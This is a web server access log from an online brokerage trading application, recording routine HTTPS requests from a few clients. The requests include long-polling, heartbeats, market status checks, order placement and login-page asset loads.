[09/Jan/2026:14:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940069239 HTTP/1.1" -
[09/Jan/2026:14:23:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940076150 HTTP/1.1" -
[09/Jan/2026:14:23:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:23:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940087188 HTTP/1.1" -
[09/Jan/2026:14:23:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940071596 HTTP/1.1" -
[09/Jan/2026:14:23:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:14:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940074394 HTTP/1.1" -
[09/Jan/2026:14:23:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940081218 HTTP/1.1" -
[09/Jan/2026:14:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940093191 HTTP/1.1" -
[09/Jan/2026:14:23:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940076677 HTTP/1.1" -
[09/Jan/2026:14:23:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940086257 HTTP/1.1" -
[09/Jan/2026:14:23:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940079537 HTTP/1.1" -
[09/Jan/2026:14:23:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:14:23:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:23:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1216
[09/Jan/2026:14:23:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940081711 HTTP/1.1" -
[09/Jan/2026:14:23:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940099191 HTTP/1.1" -
[09/Jan/2026:14:23:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940091348 HTTP/1.1" -
[09/Jan/2026:14:23:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:23:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:23:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=81B17D1F48FDD74D751DD67AC7B51335 HTTP/1.1" 1020
[09/Jan/2026:14:23:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940084754 HTTP/1.1" -
[09/Jan/2026:14:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1354
[09/Jan/2026:14:23:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940086801 HTTP/1.1" -
[09/Jan/2026:14:23:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1901
[09/Jan/2026:14:23:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940105193 HTTP/1.1" -
[09/Jan/2026:14:23:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940096379 HTTP/1.1" -
[09/Jan/2026:14:23:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940089984 HTTP/1.1" -
[09/Jan/2026:14:23:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940091864 HTTP/1.1" -
[09/Jan/2026:14:23:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:14:23:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940101421 HTTP/1.1" -
[09/Jan/2026:14:23:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940095026 HTTP/1.1" -
[09/Jan/2026:14:23:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940111193 HTTP/1.1" -
[09/Jan/2026:14:23:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940096927 HTTP/1.1" -
[09/Jan/2026:14:23:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940106507 HTTP/1.1" -
[09/Jan/2026:14:23:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:23:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940100169 HTTP/1.1" -
[09/Jan/2026:14:23:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940117190 HTTP/1.1" -
[09/Jan/2026:14:23:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940102023 HTTP/1.1" -
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:23:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:23:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940111575 HTTP/1.1" -
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:23:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:23:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:23:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:23:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767940105165 HTTP/1.1" 3188
[09/Jan/2026:14:23:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:23:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940105282 HTTP/1.1" -
[09/Jan/2026:14:23:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940123198 HTTP/1.1" -
[09/Jan/2026:14:23:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940107088 HTTP/1.1" -
[09/Jan/2026:14:24:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940116620 HTTP/1.1" -
[09/Jan/2026:14:24:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940110442 HTTP/1.1" -
[09/Jan/2026:14:24:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940129188 HTTP/1.1" -
